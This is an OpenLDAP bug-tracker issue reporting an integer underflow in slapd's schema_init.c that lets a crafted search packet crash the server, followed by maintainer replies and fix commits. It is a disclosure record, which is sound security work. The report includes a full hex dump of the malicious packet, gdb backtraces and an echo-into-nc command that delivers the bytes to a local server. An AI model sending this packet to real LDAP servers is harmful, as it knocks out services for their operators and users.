Issue 9404 - Integer undeflow causes segfault in OpenLDAP: slapd v2.X - schema_init.c:serialNumberAndIssuerCheck:3343

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All

Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project

URL:
Keywords:

Depends on:
Blocks:

Reported: 2020-11-23 16:17 UTC by phasip
Modified: 2021-01-18 20:05 UTC (History)
CC List: 0 users

See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-11-23 16:17:25 UTC** Description

A malicious packet can force OpenLDAP to read memory until it is out of bounds and crash.

```
Program received signal SIGSEGV, Segmentation fault.
serialNumberAndIssuerCheck (in=<optimized out>, sn=<optimized out>,
is=0x7ffffffb760, ctx=0x118ed10) at schema_init.c:3343
3343                                            if ( is->bv_val[is->bv_len] != '"'
) {
```

The issue lies in a read outside the bv_val resulting in an integer underrun leading to x.bv_len becomming 0xffffffffffffffff

Packet:

```
00000000: 3082 0288 0201 3063 2930 0030 0030 0030  0.....0c)0.0.0.0
00000010: 0030 0030 00a1 8202 3030 3001 3030 3030  .0.0....000.0000
00000020: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000040: 3030 3030 3030 3030 3030 3030 3d30 3030  000000000000=000
00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000070: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000080: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000090: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000000a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000000b0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000000c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000000d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000000e0: 3030 3030 3030 3030 3030 3030 3030 3020  000000000000000
000000f0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000100: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000110: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000120: 3030 3030 3030 3030 3030 3030 3021 3030  00000000000000!00
00000130: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000140: 3030 3020 3030 3030 3030 3030 3030 3030  000 000000000000
00000150: 3030 3030 3030 0030 00a1 8201 3030 0230  000000.0....00.0
00000160: 3030 0130 a830 3008 322e 352e 342e 3336  00.0.00.2.5.4.36
00000170: 3029 7b73 6572 6961 6c4e 756d 6265 7220  0){serialNumber
00000180: 2030 7865 3030 3030 3030 3030 2c20 2020   0xe00000000,
00000190: 2020 6973 7375 6572 2020 2230 3030 3030    issuer  "00000
000001a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000001b0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000001c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000001d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000001e0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
000001f0: 3030 3030 3030 3030 3030 3030 2b30 3030  000000000000+000
00000200: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000210: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000220: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000230: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000240: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000250: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000260: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000270: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000280: 3030 3030 3030 3030 3030 3030             000000000000
```

Gdb output:

```
    Program received signal SIGSEGV, Segmentation fault.
    0x00005555555e56e4 in serialNumberAndIssuerCheck (in=0x7fffffffd180,
sn=0x7fffffffd040, is=0x7fffffffd050, ctx=0x5555559ab880)
        at schema_init.c:3343
```

```
    3343                                            if ( is->bv_val[is->bv_len]
!= '"' ) {
    (gdb) bt
    #0  0x00005555555e56e4 in serialNumberAndIssuerCheck (in=0x7fffffffd180,
sn=0x7fffffffd040, is=0x7fffffffd050, ctx=0x5555559ab880)
        at schema_init.c:3343
    #1  0x00005555555e5c96 in serialNumberAndIssuerPretty (syntax=0x5555558008b0,
in=0x7fffffffd180, out=0x7fffffffd0e0, ctx=0x5555559ab880)
        at schema_init.c:3485
    #2  0x00005555555b966e in asserted_value_validate_normalize (ad=0x555555aab9c0,
mr=0x555555806660, usage=272, in=0x7fffffffd180,
        out=0x5555559ab9d0, text=0x7fffffffe480, ctx=0x5555559ab880) at value.c:153
    #3  0x00005555555bb55b in get_ava (op=0x5555559ab450, ber=0x5555559ab150,
f=0x7fffffffd220, usage=272, text=0x7fffffffe480) at ava.c:105
    #4  0x0000555555596298 in get_filter0 (op=0x5555559ab450, ber=0x5555559ab150,
filt=0x5555559ab9b8, text=0x7fffffffe480, depth=1) at filter.c:226
    #5  0x00005555555968a4 in get_filter_list (op=0x5555559ab450,
ber=0x5555559ab150, f=0x7fffffffd328, text=0x7fffffffe480, depth=1) at filter.c:354
    #6  0x00005555555963f7 in get_filter0 (op=0x5555559ab450, ber=0x5555559ab150,
filt=0x5555559ab4d0, text=0x7fffffffe480, depth=0) at filter.c:248
    #7  0x00005555555967df in get_filter (op=0x5555559ab450, ber=0x5555559ab150,
filt=0x5555559ab4d0, text=0x7fffffffe480) at filter.c:332
    #8  0x000055555559492a in do_search (op=0x5555559ab450, rs=0x7fffffffe460) at
search.c:127
    #9  0x0000555555591e56 in connection_operation (ctx=0x5555557fa580
<ldap_int_main_thrctx>, arg_v=0x5555559ab450) at connection.c:1163
    #10 0x000055555559257f in connection_read_thread (ctx=0x5555557fa580
<ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #11 0x0000555555565c9b in main (argc=1, argv=0x7fffffffe6a8) at fuzzing.c:100
    (gdb)

Testing (also works on latest build from source):
    (Term1) # docker run -it --net=host bitnami/openldap
    (Term2) # echo -ne
"\x30\x82\x02\x88\x02\x01\x30\x63\x29\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa1\x82\x02\x30\x30\x30\x01\x30\x30\x30\x30\x30\x30\
| nc localhost 1389

Bugfix:
    Not sure if a simple check on the bv_len is enough or if this issue should be
solved earlier.
```

Howard Chu **2020-11-23 17:34:56 UTC** Comment 1

(In reply to phasip from comment #0)
> A malicious packet can force OpenLDAP to read memory until it is out of
> bounds and crash.
> Program received signal SIGSEGV, Segmentation fault.
> serialNumberAndIssuerCheck (in=<optimized out>, sn=<optimized out>,
> is=0x7fffffffb760, ctx=0x118ed10) at schema_init.c:3343
> 3343   if (is->bv_val[is->bv_len] != '"'
>
> The issue lies in a read outside the bv_val resulting in an integer underrun
> leading to x.bv_len becomming 0xffffffffffffffff

Thanks for the report. Fixed now in git master. Appears to have been broken
since its initial commit 4c64b8626d5b2b26256446dbc29f63ab45b5ec1d.

> Bugfix:
>   Not sure if a simple check on the bv_len is enough or if this issue
> should be solved earlier.

Quanah Gibson-Mount **2020-12-02 21:53:18 UTC** Comment 2

trunk:

Commits:
  • dbe69684
by Howard Chu at 2020-11-23T17:14:00+00:00
ITS#9404 fix serialNumberAndIssuerCheck

RE24:

  • 38ac838e
by Howard Chu at 2020-12-02T21:32:02+00:00
ITS#9404 fix serialNumberAndIssuerCheck

Format For Printing - XML - Clone This Issue - Top of page